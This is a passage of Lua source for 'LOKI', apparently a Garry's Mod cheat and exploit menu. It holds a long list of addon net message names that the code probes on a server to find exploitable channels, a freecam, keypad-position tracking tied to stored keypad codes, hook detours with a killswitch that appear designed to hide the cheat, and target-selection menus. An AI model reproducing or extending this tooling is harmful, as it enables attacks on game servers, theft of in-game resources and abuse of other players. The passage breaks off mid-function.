"MDE_RemoveStuff_C2S", "start_wd_emp", "kart_sell", "FarmingmodSellItems", "ClickerAddToPoints", "fp_as_doorHandler", "TransferReport", "odium_setname", "ace_menu", "odium_lua_run_cl", "blogs_refresh", "blogs_refreshblog", "blogs_resetall", "pChat", "SuggestionsBriefInfo", "SuggestionsSpecificInfo", "SuggestionsGetInfo", "SuggestionsClientEdits", "SuggestionsRefresh", "Morpheus.Init", "Morpheus.ClientCheckActivity", "DL_Answering_global", "pSayBroadcaster", "TCBBuyAmmo", "DataSend", "FarmingmodSellItems", "duelrequestguiYes", "egg", "TalkIconChat", "exploits_open", "chat_AddText", "magnum", "RAINBOWPLAYER", "menu", "setMagicTypeHP", "TheFrenchGuy", "htx_mode", "htx_menu", "htx_macros", "ГћГ ?D)в—", "metro_notification", "BM2.Command.SellBitcoins", "ItemStoreUse", "ItemStoreDrop", "gMining.sellMineral", "PlayerUseItem", "RequestMAPSize", "MG2.Request.GangRankings", "dLogsGetCommand", "shopguild_buyitem", "VoteKickNO", "VoteBanNO", "Warn_CreateWarn", "showDisguiseHUD", "Chatbox_PlayerChat", "BuilderXToggleKill", "services_accept", "lockpick_sound", "InformPlayer", "1942_Fuhrer_SubmitCandidacy", "FacCreate", "FactionInviteConsole", "WithdrewBMoney", "deathrag_takeitem", "REPPurchase", "Resupply", "DarkRP_Defib_ForceSpawn", "FiremanLeave", "CreateEntity", "CREATE_REPORT", "Hopping_Test", "CpForm_Answers", "VehicleUnderglow", "OpenGates", "DemotePlayer", "SendMail", "REPAdminChangeLVL", "BuyUpgradesStuff", "SquadGiveWeapon", "SetTableTarget", "UpdateRPUModelSQL", "disguise", "gportal_rpname_change", "NewRPNameSQL", "chname", "AbilityUse", "race_accept", "NLR_SPAWN", "opr_withdraw", "revival_revive_accept", "BuyFirstTovar", "BuySecondTovar", "MONEY_SYSTEM_GetWeapons", "MCon_Demote_ToServer", "withdrawMoney", "gPrinters.retrieveMoney", "NGII_TakeMoney", "money_clicker_withdraw", "opr_withdraw", "NET_DoPrinterAction", "tickbooksendfine", "withdrawp", "PCAdd", "viv_hl2rp_disp_message", "Kun_SellOil", "gPrinters.sendID", "requestmoneyforvk", "vj_testentity_runtextsd", "NET_BailPlayer", "rpi_trade_end", "ClickerForceSave", "SRequest", "HealButton", "GiveArmor100", "GiveSCP294Cup", "Client_To_Server_OpenEditor", "userAcceptPrestige", "wordenns", "guncraft_removeWorkbench", "BuyKey", "PurchaseWeed", "DoDealerDeliver", "sendDuelInfo", "CreateOrganization", "DisbandOrganization", "ChangeOrgName", "IS_SubmitSID_C2S", "AcceptBailOffer", "CP_Test_Results", "ReSpawn", "FIGHTCLUB_KickPlayer", "IveBeenRDMed", "nCTieUpStart", "DestroyTable", "bringNfreeze", "JoinFirstSS", "unarrestPerson", "inviteToOrganization", "GovStation_SpawnVehicle", "DailyLoginClaim", "DL_AskLogsList", "DL_StartReport", "SpecDM_SendLoadout", "PowerRoundsForcePR", "wyozimc_playply", "SendSteamID", "JB_GiveCubics", "JB_SelectWarden", "RDMReason_Explain", "redirectMsg", "LB_AddBan", "GET_Admin_MSGS", "br_send_pm", "LAWYER.BailFelonOut", "LAWYER.GetBailOut", "GrabMoney", "nox_addpremadepunishment", "HV_AmmoBuy", "TMC_NET_MakePlayerWanted", "thiefnpc", "TMC_NET_FirePlayer", "updateLaws", "LotteryMenu", "soundArrestCommit", "hoverboardpurchase", "SpawnProtection", "NPCShop_BuyItem", "AcceptRequest", "Chess ClientWager", "netOrgVoteInvite_Server", "AskPickupItemInv", "buy_bundle", "MineServer", "Gb_gasstation_BuyGas", "D3A_CreateOrg", "ScannerMenu", "ORG_NewOrg", "passmayorexam", "levelup_useperk", "DeployMask", "RemoveMask", "SwapFilter", "WipeMask", "UseMedkit", "IDInv_RequestBank", "desktopPrinter_Withdraw", "sphys_dupe", "simfphys_gasspill", "dronesrewrite_controldr", "SCP-294Sv", "VC_PlayerReady", "blueatm", "cab_sendmessage", "FARMINGMOD_DROPITEM", "SlotsRemoved", "AirDrops_StartPlacement", "pp_info_send", "IGS.GetPaymentURL", "tickbookpayfine", "ncpstoredoact", "PermwepsNPCSellWeapon", "NET_AM_MakePotion", "minigun_drones_switch", "CW20_PRESET_LOAD", "SBP_addtime", "NetData", "ts_buytitle", "SBP_addtime", "EnterpriseWithdraw", "Chess Top10", "lectureListe", "Warn_CreateWarn", "BuilderXToggleKill", "deathrag_takeitem", "REPPurchase", "Hopping_Test", "REPAdminChangeLVL", "SquadGiveWeapon", "UpdateRPUModelSQL", "gportal_rpname_change", "NewRPNameSQL", "race_accept", "Kun_ZiptieStruggle", "NGII_TakeMoney", "InviteMember", "start_wd_hack", "giveArrestReason", "sellitem", "sv_saveweapons", "NET_CR_TakeStoredMoney", "donatorshop_itemtobuy", "misswd_accept", "ORG_VaultDonate", "Selldatride", "ZED_SpawnCar", "cab_cd_testdrive", "cab_sendmessage", "EliteParty_NoPOpenMenu", "EliteParty_SendPartyChat_ToClient", "EP_CreateParty_ToServer", "EP_ViewMenu_ToClient", "EliteParty_ViewParty_ToServer", "EP_ViewMenu_ToClient", "EliteParty_CreateParty_ToServer", "EliteParty_EditParty_ToServer", "EliteParty_LeaveParty_ToServer", "EliteParty_RequestInviteList_ToServer", "EliteParty_RequestInviteList_ToClient", "EliteParty_InvitePlayer_ToServer", "EliteParty_InvitePlayer_ToClient", "EliteParty_PartyInvitedAccepted_ToServer", "EliteParty_NewMember_ToClient", "EliteParty_NewMember_ToClient", "EliteParty_RequestJoin_ToServer", "EliteParty_RequestJoin_ToClient", "EliteParty_PartyRequestAccepted_ToServer", "EliteParty_PartyRequestAccepted_ToClient", "EliteParty_KickMember_ToServer", "EliteParty_KickedMember_ToClient", "EliteParty_KickedMember_ToClient", "EliteParty_MakeFounder_ToServer", "EliteParty_MakeFounder_ToClient", "Cuffs_GagPlayer", "Cuffs_BlindPlayer", "Cuffs_FreePlayer", "Cuffs_DragPlayer", "Cuffs_TiePlayers", "Cuffs_UntiePlayers", "xenoexistscl", "xenoexists", "xenoisactivatedcl", "xenoisactivated", "xenoac", "xenoclientfunction", "xenoserverfunction", "xenoactivation", "AddDeathZone", "StartEndGhost", "RemoveCertainZone", "testNet", "RemoveDeathZones", "nlr.notify", "nlr.killEvent", "nlr.RemoveZone", "pnet_Ready", "OpenFpsMenu", "Amethyst_PushNotification", "SendMessageToPlayer", "AmethystMessageSet", "Amethyst_PStats", "Amethyst_DebugAdd", "Amethyst_FetchLogs", "gLevel.buyWeapon", "gLevel.unlockAchievement", "gLevel.unlockAchievement", "gLevel.buySkill", "gLevel.doPrestige", "gLevel.buyAccesory", "gLevel.notifications", "gLevel.syncWeapons", "gLevel.loadWeapons", "gLevel.syncSkills", "gLevel.loadSkills", "gLevel.syncAchievements", "gLevel.loadAchievements", "NetWrapperVar", "NetWrapperRequest", "NetWrapperClear", "NetWrapperClear", "nodium", "_A", "gmhax_ShowUnknownEntity", "_da_", "whk_setart", "DarkRP_spawnPocket", "DuelMessageReturn", "ban_rdm", "dLogsGetCommand", "disguise", "AbilityUse", "give_me_weapon", "FinishContract", "NLR_SPAWN", "Kun_ZiptieStruggle", "NET_SS_DoBuyTakeoff", "ckit_roul_bet", "ply_pick_shit", "MONEY_SYSTEM_GetWeapons", "Sbox_gm_attackofnullday", "Sbox_gm_attackofnullday_key", "_blacksmurf", "echangeinfo", "open_menu", "closebutton_repeat", "sMsgStandard", "sNotifyHit", "sMsgAdmins", "sAlertNotice", "fgtnoafk", "Debug1", "Debug2", "gcontrol_vars", "control_vars", "checksaum", "atlaschat.sndcfg", "atlaschat.gtcfg", "arcphone_atmos_support", "arcphone_comm_status", "arcphone_emerg_numbers", "arcphone_nutscript_number", "ferpHUDSqu", "lolwut", "gotcha", "PrometheusMessages", "PrometheusNotification", "PrometheusPackages", "PrometheusColorChat", "Cl_PrometheusRequest", "PrometheusCustomJob", "GivePlayerAFKWarning", "RemovePlayerAFKWarning", "SyncButtons", "check_if_whitelist_enabled", "enable_whitelist", "add_to_whitelist", "remove_from_whitelist", "disable_whitelist", "clear_whitelist", "get_enabled_whitelist", "get_last_enabled_whitelist", "no_enabled_whitelists", "import_from_nordahl", "import_from_old_bwhitelist", "import_from_mayoz", "enable_all_whitelists", "disable_all_whitelists", "reset_everything", "customcheckerror", "clear_unknown_jobs", "get_all_blacklists", "get_all_permissed", "get_a_enabled", "no_import", "already_exists", "doesnt_exist", "stop_data_flow", "get_blacklisted", "SH_ACC_READY", "SH_ACC_PURCHASE", "SH_ACC_SELL", "SH_ACC_MENU", "SH_ACC_EQUIP", "SH_ACC_EQUIPS", "SH_ACC_CHANGE", "SH_ACC_INV", "SH_ACC_NOTIFY", "SH_ACC_ADJUST", "SH_ACC_ADJUST_RESET", "SH_ACC_REQUEST", "ASayPopup", "SW.nSetWeather", "SW.nRedownloadLightmaps", "ulxqm_reasons", "EZI_GetRankSpace", "gPrinters.rrnow", "gPrinters.retrieveMoney", "R8", "changeToPhysgun", "SetPlayerModel", "PSA.Undertale", "KickMe"}
707 LOKI.BAIT_CHANNELS = {}
708 LOKI.BAIT_COUNT = 0
709 LOKI.BAIT_CHANNELS_FOUND = {}
710 LOKI.BAIT_LIMIT = 5
711 for k, v in pairs(LOKI.BAIT_UNSORTED) do
712 LOKI.BAIT_CHANNELS[v] = v
713 LOKI.GeneralOverride = true
714 if(LOKI.ValidNetString(v) && LOKI.BAIT_CHANNELS[v]) then
715 LOKI.BAIT_COUNT = LOKI.BAIT_COUNT + 1
716 LOKI.BAIT_CHANNELS_FOUND[v] = v
717 end
718 LOKI.GeneralOverride = false
719 end
720 LOKI.Freecam = {}
721 LOKI.Freecam.Enabled = false
722 LOKI.Freecam.ViewOrigin = Vector( 0, 0, 0 )
723 LOKI.Freecam.ViewAngle = Angle( 0, 0, 0 )
724 LOKI.Freecam.Velocity = Vector( 0, 0, 0 )
725 LOKI.Freecam.Data = {}
726 function LOKI.Freecam.Toggle(var)
727 LOKI.Freecam.SetView = true
728 LOKI.Freecam.Enabled = var
729 end
730 function LOKI.Freecam.EyePos()
731 local pos;
732 if(LOKI.Freecam.Enabled == true) then
733 pos = LOKI.Freecam.Data.origin
734 else
735 pos = EyePos()
736 end
737 return pos
738 end
739 /*LOKI.Freecam.Frame = LOKI.vgui.Create( "DFrame" )
740 LOKI.Freecam.Frame:SetSize( ScrW(), ScrH() )
741 LOKI.Freecam.Frame:Center()
742 LOKI.Freecam.Frame:SetTitle("")
743 LOKI.Freecam.Frame:ShowCloseButton(false)
744 function LOKI.Freecam.Frame:Paint( w, h )
745 if(!LOKI || !LOKI.Freecam || LOKI.Unload || LOKI.Killswitch) then return self:Remove() end
746 local x, y = self:GetPos()
747 local ent = LOKI.IsHovered || LOKI.SpectateEnt
748 if(LOKI.Freecam.Enabled == true || (IsValid(ent) && ent.OBBCenter)) then
749 render.RenderView( LOKI.Freecam.Data )
750 end
751 end*/
752 function LOKI.CalculateRenderPos(self)
753 local pos = self:GetPos()
754 pos:Add(self:GetForward() * self:OBBMaxs().x) -- Translate to front
755 pos:Add(self:GetRight() * self:OBBMaxs().y) -- Translate to left
756 pos:Add(self:GetUp() * self:OBBMaxs().z) -- Translate to top
757
758 pos:Add(self:GetForward() * 0.15) -- Pop out of front to stop culling
759
760 return pos
761 end
762
763 function LOKI.CalculateRenderAng(self)
764 local ang = self:GetAngles()
765 ang:RotateAroundAxis(ang:Right(), -90)
766 ang:RotateAroundAxis(ang:Up(), 90)
767
768 return ang
769 end
770 function LOKI.CalculateKeypadCursorPos(ply, ent)
771 if !ply:IsValid() then return end
772
773 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
774 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
775
776 local scale = ent.Scale || 0.02
777 if !scale then return 0, 0 end
778
779 local pos, ang = LOKI.CalculateRenderPos(ent), LOKI.CalculateRenderAng(ent)
780 if !pos or !ang then return 0, 0 end
781 local normal = ent:GetForward()
782
783 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
784 if !intersection then return 0, 0 end
785
786 local diff = pos - intersection
787
788 local x = diff:Dot( -ang:Forward() ) / scale
789 local y = diff:Dot( -ang:Right() ) / scale
790
791 return x, y
792 end
793 local elements = {{x = 0.075, y = 0.04, w = 0.85, h = 0.25,},{x = 0.075, y = 0.04 + 0.25 + 0.03, w = 0.85 / 2 - 0.04 / 2 + 0.05, h = 0.125, text = "ABORT",},{x = 0.5 + 0.04 / 2 + 0.05, y = 0.04 + 0.25 + 0.03, w = 0.85 / 2 - 0.04 / 2 - 0.05, h = 0.125, text = "OK",}}
794 do for i = 1, 9 do local column = (i - 1) % 3 local row = math.floor((i - 1) / 3) local element = {x = 0.075 + (0.3 * column), y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row), w = 0.25, h = 0.13, text = tostring(i), } elements[#elements + 1] = element end end
795 function LOKI.KPGetHoveredElement(ply, ent)
796 local scale = ent.Scale || 0.02
797
798 local w, h = (ent:OBBMaxs().y - ent:OBBMins().y) / scale , (ent:OBBMaxs().z - ent:OBBMins().z) / scale
799 local x, y = LOKI.CalculateKeypadCursorPos(ply, ent)
800
801 for _, element in ipairs(elements) do
802 local element_x = w * element.x
803 local element_y = h * element.y
804 local element_w = w * element.w
805 local element_h = h * element.h
806
807 if element_x < x and element_x + element_w > x and
808 element_y < y and element_y + element_h > y
809 then
810 return element
811 end
812 end
813 end
814 function LOKI.GetKeypadStatus(kp)
815 if(kp.SendCommand) then
816 return {0, 1, 2}
817 elseif(kp.EnterKey) then
818 return {0, 2, 1}
819 end
820 return {0, 1, 2}
821 end
822 LOKI.KeypadCodes = LOKI.LAST.KeypadCodes || {}
823 LOKI.TempKeypadCodes = LOKI.LAST.TempKeypadCodes || {}
824 LOKI.KeypadStatus = LOKI.LAST.KeypadStatus || {}
825 LOKI.KeypadText = LOKI.LAST.KeypadText || {}
826 LOKI.CommandList = {}
827 LOKI.CompleteList = {}
828 LOKI.concommand = {}
829 LOKI.concommand.Add = function( name, func, completefunc, help, flags )
830 local det_call = LOKI.DetourCall || false
831 LOKI.DetourCall = true
832 local LowerName = string.lower( name )
833 LOKI.CommandList[ LowerName ] = func
834 LOKI.CompleteList[ LowerName ] = completefunc
835 //AddConsoleCommand( name, help, flags )
836 LOKI.DetourCall = det_call
837 end
838
839 LOKI.NetReceivers = {}
840 LOKI.Hooks = {};
841
842 gmod.GetGamemode().AcceptInput = function(self, type, name, func)
843 LOKI.Hooks[type] = LOKI.Hooks[type] || {};
844
845 LOKI.Hooks[type][name] = func;
846
847 if(!LOKI.Detours["GAMEMODE"]) then
848 LOKI.Detours["GAMEMODE"] = {};
849 end
850
851 if(!LOKI.Hooks["GAMEMODE"]) then
852 LOKI.Hooks["GAMEMODE"] = {};
853 end
854
855 if(!LOKI.Detours["GAMEMODE"][type]) then
856 LOKI.Detours["GAMEMODE"][type] = self[type];
857 end
858
859 if(LOKI.Detours["GAMEMODE"][type] && LOKI.Hooks["GAMEMODE"][type] && LOKI.Hooks["GAMEMODE"][type] != self[type]) then
860 LOKI.Detours["GAMEMODE"][type] = self[type];
861 end
862
863 LOKI.Hooks["GAMEMODE"][type] = function(self, ...)
864 if(!LOKI || !LOKI.Detours || LOKI.Unload) then return end
865
866 local ret = nil
867 local args = {}
868
869 if(LOKI.Detours["GAMEMODE"][type]) then
870 args = {LOKI.Detours["GAMEMODE"][type](self, ...)};
871 if(#args != 0) then ret = (unpack(args)); end
872 end
873
874 if(LOKI.Killswitch || !LOKI.Hooks || !LOKI.Hooks[type]) then return ret end
875
876 for k,v in next, LOKI.Hooks[type] do
877 args = {v(ret, ...)};
878 if(#args == 0) then continue; end
879 ret = (unpack(args));
880 end
881
882 return ret
883 end
884
885 self[type] = LOKI.Hooks["GAMEMODE"][type]
886 end
887 /*debug.setmetatable(gmod.GetGamemode(), {
888 __index = function(self, key)
889 if key && LOKI.Hooks["GAMEMODE"][key] && !LOKI.HookCall then
890 return LOKI.Hooks["GAMEMODE"][type]
891 end
892 LOKI.HookCall = true
893 local ret = rawget(self, key)
894 LOKI.HookCall = false
895 return ret
896 end,
897 })*/
898 local function hook_Add(eventName, identifier, func)
899 if(LOKI.DetourTables[eventName]) then return end
900 if(!LOKI.Hooks[eventName]) then
901 LOKI.Hooks[eventName] = {}
902 end
903 LOKI.Hooks[eventName][identifier] = func
904 if(LOKI.SecureHooks) then
905 return gmod.GetGamemode():AcceptInput(eventName, identifier, func)
906 else
907 return hook.Add(eventName, identifier, func)
908 end
909 end
910 /*local function hook_Add( event_name, name, func, priority )
911 priority = priority or 0
912 if ( !isfunction( func ) ) then return end
913 if ( !isstring( event_name ) ) then return end
914 if ( !isnumber( priority ) ) then return end
915
916 priority = math.floor( priority )
917 if ( priority < -2 ) then priority = -2 end
918 if ( priority > 2 ) then priority = 2 end
919
920 hook.Remove( event_name, name )
921
922 local Hooks = hook.GetULibTable || hook.GetTable
923
924 if(hook.GetULibTable) then
925 if (Hooks()[ event_name ] == nil) then
926 Hooks()[ event_name ] = {[-2]={}, [-1]={}, [0]={}, [1]={}, [2]={}}
927 hook.GetTable()[ event_name ] = {}
928 end
929 Hooks()[ event_name ][ priority ][ name ] = { fn=func, isstring=isstring( name ) }
930 else
931 Hooks()[ event_name ][ name ] = func
932 end
933
934 end*/
935 //////////////////////////////////////////////- MENU UTILS -////////////////////////////////////////////////
936 function LOKI.MakeFunctionButton( parent, x, y, btext, func, tooltip, tab, border)
937 if !parent:IsValid() then return end
938 local TButton = LOKI.vgui.Create( "DButton", LOKI.Menu )
939 TButton:SetParent( parent )
940 TButton:SetPos( x, y )
941 TButton:SetText( btext )
942 TButton:SetTextColor( Color(255, 255, 255, 255) )
943 TButton:SizeToContents()
944 TButton:SetTall( 24 )
945 --if tooltip then TButton:SetToolTip( tooltip ) end
946 TButton.Paint = function( self, w, h )
947 surface.SetDrawColor( Color(60, 60, 60, 200) )
948 surface.DrawRect( 0, 0, w, h )
949 surface.SetDrawColor( Color( 60, 60, 60 ) )
950 surface.SetMaterial( downgrad )
951 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
952 surface.SetDrawColor( Color(100, 100, 100, 255) )
953 surface.DrawOutlinedRect( 0, 0, w, h )
954 if(border) then
955 local enabled = false
956 if(isbool(tab.bool)) then
957 enabled = tab.bool
958 elseif(LOKI.NotNil(tab.bool)) then
959 enabled = func.bools[tab.bool]
960 else
961 enabled = func.bools.enabled
962 end
963 if(enabled) then
964 surface.SetDrawColor( Color(55, 255, 55, 245) )
965 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
966 end
967 end
968 end
969 TButton.DoClick = function()
970 if(!tab) then
971 return func()
972 end
973 if(tab.typ == "func") then
974 local det_call = LOKI.DetourCall || false
975 LOKI.DetourCall = true
976 if(func && func.hooks.Think) then
977 func.hooks.Think(tab.args || {}, func, TButton)
978 end
979 LOKI.DetourCall = det_call
980 elseif(tab.typ == "bool") then
981 local enabled = false
982 if(isbool(tab.bool)) then
983 tab.bool = !tab.bool
984 enabled = tab.bool
985 elseif(LOKI.NotNil(tab.bool)) then
986 func.bools[tab.bool] = !func.bools[tab.bool]
987 enabled = func.bools[tab.bool]
988 else
989 func.bools.enabled = !func.bools.enabled
990 enabled = func.bools.enabled
991 end
992 if(isfunction(tab.callback)) then
993 tab.callback(enabled)
994 end
995 TButton:SetText(!enabled && ((tab.ToggleText && tab.ToggleText[1]) || "Start") || ((tab.ToggleText && (tab.ToggleText[2] || tab.ToggleText[1])) || "Stop"))
996 if(isfunction(func.OnEnable) && enabled) then
997 if(LOKI.NotNil(tab.bool)) then
998 func.OnEnable(tab.bool, func)
999 else
1000 func.OnEnable("enabled", func)
1001 end
1002 end
1003 if(isfunction(func.OnDisable) && !enabled) then
1004 if(LOKI.NotNil(tab.bool)) then
1005 func.OnDisable(tab.bool, func)
1006 else
1007 func.OnDisable("enabled", func)
1008 end
1009 end
1010 if(tab.bool && tab.addr) then LOKI.Store(tab.addr, func.bools[tab.bool]) end
1011 TButton:SizeToContents()
1012 TButton:SetTall(24)
1013 end
1014 end
1015 return TButton:GetWide(), TButton:GetTall()
1016 end
1017 function LOKI.OpenTableEditor(Parent, WholeTable, Title, Callback, isSecondTable, Position, Position2, Originaltable)
1018 local WholeTablecopy = (table.Copy( WholeTable ) )
1019 local TableEditFrame = LOKI.vgui.Create( "DFrame", Parent )
1020 TableEditFrame:SetPos( 50, 50 )
1021 TableEditFrame:SetSize( 1000, ScrH()/2 )
1022 TableEditFrame:SetTitle(Title)
1023 TableEditFrame:Center()
1024 TableEditFrame:SetVisible( true )
1025 TableEditFrame:SetDraggable( true )
1026 TableEditFrame:ShowCloseButton( true )
1027 TableEditFrame.Paint = function(s, w, h)
1028 if(Parent && (!IsValid(Parent) || !LOKI.Menu:IsVisible())) then TableEditFrame:Close() return end
1029 surface.SetDrawColor( Color(30, 30, 30, 245) )
1030 surface.DrawRect( 0, 0, w, h )
1031 end
1032 TableEditFrame:MakePopup()
1033
1034 local vList = LOKI.vgui.Create( "DCategoryList", TableEditFrame )
1035 vList.Paint = function() end
1036 vList:Dock( FILL )
1037
1038 for v,k in SortedPairs(WholeTablecopy) do
1039
1040
1041 if TypeID(k) == (TYPE_STRING)then
1042 local Value = vList:Add( v .. " (STRING)" )
1043 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
1044 TextEntry:SetSize( 1000, 25 )
1045 TextEntry:SetText( k )
1046
1047 TextEntry.OnChange = function( self )
1048 WholeTablecopy[v] = self:GetValue()
1049 end
1050 end
1051
1052 if TypeID(k) == (TYPE_NUMBER)then
1053 local Value = vList:Add( v .. " (NUMBER)" )
1054 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
1055 TextEntry:SetSize( 1000, 25 )
1056 TextEntry:SetText( k )
1057 TextEntry.OnChange = function( self )
1058 WholeTablecopy[v] = tonumber(self:GetValue())
1059 end
1060 end
1061
1062 if TypeID(k) == (TYPE_BOOL)then
1063 local Value = vList:Add( v .. " (BOOL)")
1064 local DComboBox = LOKI.vgui.Create( "DComboBox", vList )
1065 --DComboBox:SetPos( 5, 5 )
1066 DComboBox:SetSize( 100, 20 )
1067 DComboBox:SetValue( tostring(k) )
1068 DComboBox:AddChoice( "true" )
1069 DComboBox:AddChoice( "false" )
1070 DComboBox.OnSelect = function( panel, index, value )
1071 WholeTablecopy[v] = tobool(value)
1072 end
1073 end
1074
1075 if TypeID(k) == (TYPE_VECTOR)then
1076 local vecstring = tostring(k)
1077 local Value = vList:Add( v .. " (VECTOR)")
1078 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
1079 TextEntry:SetSize( 1000, 25 )
1080 TextEntry:SetText( vecstring )
1081 TextEntry.OnChange = function( self )
1082 WholeTablecopy[v] = util.StringToType(self:GetValue(), "Vector" )
1083 end
1084 end
1085
1086 if TypeID(k) == (TYPE_ANGLE)then
1087 local vecstring = tostring(k)
1088 local Value = vList:Add( v .. " (ANGLE)")
1089 local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
1090 TextEntry:SetSize( 1000, 25 )
1091 TextEntry:SetText( vecstring )
1092 TextEntry.OnChange = function( self )
1093 WholeTablecopy[v] = util.StringToType(self:GetValue(), "Angle" )
1094 end
1095 end
1096
1097
1098 if TypeID(k) == (TYPE_TABLE) then
1099 local Value = vList:Add( v.. " (TABLE)" )
1100 if k.r && k["g"] && k["b"] && k["a"] then
1101 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1102 SmallFrame:SetBackgroundColor(Color(200,200,200))
1103 SmallFrame:SetHeight(300)
1104 local Mixer = LOKI.vgui.Create( "DColorMixer", SmallFrame )
1105 Mixer:Dock( LEFT ) --Make Mixer fill place of Frame
1106 Mixer:SetWidth(400)
1107 Mixer:SetHeight(300)
1108 Mixer:SetPalette( true ) --Show/hide the palette DEF:true
1109 Mixer:SetAlphaBar( true ) --Show/hide the alpha bar DEF:true
1110 Mixer:SetWangs( true ) --Show/hide the R G B A indicators DEF:true
1111 Mixer:SetColor( Color( k["r"] , k["g"] , k["b"] , k["a"] ) ) --Set the default color
1112
1113 local DColorButton = LOKI.vgui.Create( "DColorButton", SmallFrame )
1114 DColorButton:Dock( TOP )
1115 DColorButton:SetSize( 50, 50 )
1116 --DColorButton:SetPos( 60, 100 )
1117 DColorButton:SetColor(Mixer:GetColor())
1118
1119 function Mixer:ValueChanged(self, color)
1120 DColorButton:SetColor(Mixer:GetColor())
1121 WholeTablecopy[v] = Mixer:GetColor()
1122 end
1123
1124 else
1125
1126
1127 for t,z in pairs(k) do -- Second Level
1128
1129 if TypeID(z) == (TYPE_STRING)then
1130 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1131
1132 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1133 SmallFrame:SetBackgroundColor(Color(200,200,200))
1134 kList:SetText( " ".. t)
1135 kList:SetColor(Color(0,0,0))
1136 kList:SetPos(20,20)
1137 kList:SetSize(500,25)
1138 kList:Dock(LEFT)
1139
1140 local TextEntry = LOKI.vgui.Create( "DTextEntry", SmallFrame )
1141 TextEntry:SetSize( 500, 25 )
1142 TextEntry:Dock(RIGHT)
1143 TextEntry:SetText( z )
1144 TextEntry:SetPos(TableEditFrame:GetSize() - 600, 0)
1145 TextEntry.OnChange = function( self )
1146 WholeTablecopy[v][t] = self:GetValue()
1147 end
1148 end
1149
1150
1151 if TypeID(z) == (TYPE_NUMBER) then
1152 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1153 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1154 SmallFrame:SetBackgroundColor(Color(200,200,200))
1155 kList:SetText( " ".. t)
1156 kList:SetColor(Color(0,0,0))
1157 kList:SetPos(20,0)
1158 kList:SetSize(500,25)
1159 kList:Dock(LEFT)
1160
1161 local TextEntry = LOKI.vgui.Create( "DTextEntry", SmallFrame )
1162 TextEntry:SetSize( 500, 25 )
1163 TextEntry:Dock(RIGHT)
1164 TextEntry:SetText( z )
1165 TextEntry:SetPos(TableEditFrame:GetSize() - 600, 0)
1166 TextEntry.OnChange = function( self )
1167 WholeTablecopy[v][t] = tonumber(self:GetValue())
1168 end
1169 end
1170
1171
1172 if TypeID(z) == TYPE_TABLE then --Third level starts over
1173 --local Value = vList:Add( t )
1174 local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
1175 local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
1176 SmallFrame:SetBackgroundColor(Color(200,200,200))
1177 kList:SetText( " ".. t)
1178 --kList:SetText(t)
1179 kList:SetColor(Color(0,0,0))
1180 kList:SetPos(20,0)
1181 kList:SetSize(500,25)
1182 kList:Dock(LEFT)
1183 local DermaButton = LOKI.vgui.Create( "DButton", SmallFrame )
1184 DermaButton:SetText( t.." (Table)")
1185 DermaButton:SetPos( DermaButton:GetSize() - 600, 0 )
1186 DermaButton:SetSize(500,25)
1187 DermaButton:Dock(RIGHT)
1188 DermaButton.DoClick = function()
1189 LOKI.OpenTableEditor(TableEditFrame, WholeTablecopy[v][t], Title, nil, true, v, t, WholeTablecopy)
1190 end
1191 end
1192 end
1193
1194 end
1195 end
1196 end
1197
1198 TableEditFrame.OnClose = function()
1199 if isSecondTable then
1200 local tablecopy = WholeTable
1201 table.Merge(Originaltable[Position][Position2], WholeTablecopy)
1202 else
1203 local tablecopy = table.DeSanitise(WholeTablecopy)
1204 table.Merge(WholeTable,tablecopy)
1205 if(isfunction(Callback)) then
1206 Callback(WholeTable)
1207 end
1208 end
1209 end
1210 end
1211 function LOKI.MakeEntitySelectionButton( parent, tbl, x, y, tab, single )
1212 if !parent:IsValid() then return end
1213 if(isfunction(tbl)) then
1214 tbl = tbl()
1215 end
1216 local TButton = LOKI.vgui.Create( "DButton", LOKI.Menu )
1217 TButton:SetParent( parent )
1218 TButton:SetPos( x, y )
1219 TButton:SetText( tab.Name || "Choose Target" .. (single && "" || "s") )
1220 TButton:SetTextColor( Color(255, 255, 255, 255) )
1221 TButton:SizeToContents()
1222 TButton:SetTall( 24 )
1223 TButton.Paint = function( self, w, h )
1224 surface.SetDrawColor( Color(60, 60, 90, 200) )
1225 surface.DrawRect( 0, 0, w, h )
1226 surface.SetDrawColor( Color( 60, 60, 60 ) )
1227 surface.SetMaterial( downgrad )
1228 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1229 surface.SetDrawColor( Color(100, 100, 100, 255) )
1230 surface.DrawOutlinedRect( 0, 0, w, h )
1231 surface.SetDrawColor( Color(70, 70, 100, 255) )
1232 surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
1233 end
1234 TButton.DoClick = function()
1235 LOKI.SelectEntityPanel( parent, tbl, tab, single )
1236 end
1237 return TButton:GetWide(), TButton:GetTall()
1238 end
1239 function LOKI.SelectEntityPanel( parent, tbl, tab, single )
1240 if LOKI.EntitySelector and LOKI.EntitySelector:IsVisible() then LOKI.EntitySelector:Remove() end
1241 local plytab = LOKI.GetStored( tab.addr, {}, true )
1242 if(!istable(plytab)) then plytab = {plytab} end
1243 LOKI.EntitySelector = LOKI.vgui.Create("DFrame", parent)
1244 LOKI.EntitySelector:SetPaintedManually(true)
1245 LOKI.EntitySelector:SetSize(250,400)
1246 LOKI.EntitySelector:SetTitle("Select "..tab.typ.." to target")
1247 LOKI.EntitySelector:SetPos( gui.MouseX(), gui.MouseY() )
1248 LOKI.EntitySelector:MakePopup()
1249 LOKI.EntitySelector.Paint = function( s, w, h )
1250 if !IsValid(LOKI.Menu) or !LOKI.Menu:IsVisible() then s:Remove() return end
1251 surface.SetDrawColor( Color(30, 30, 30, 245) )
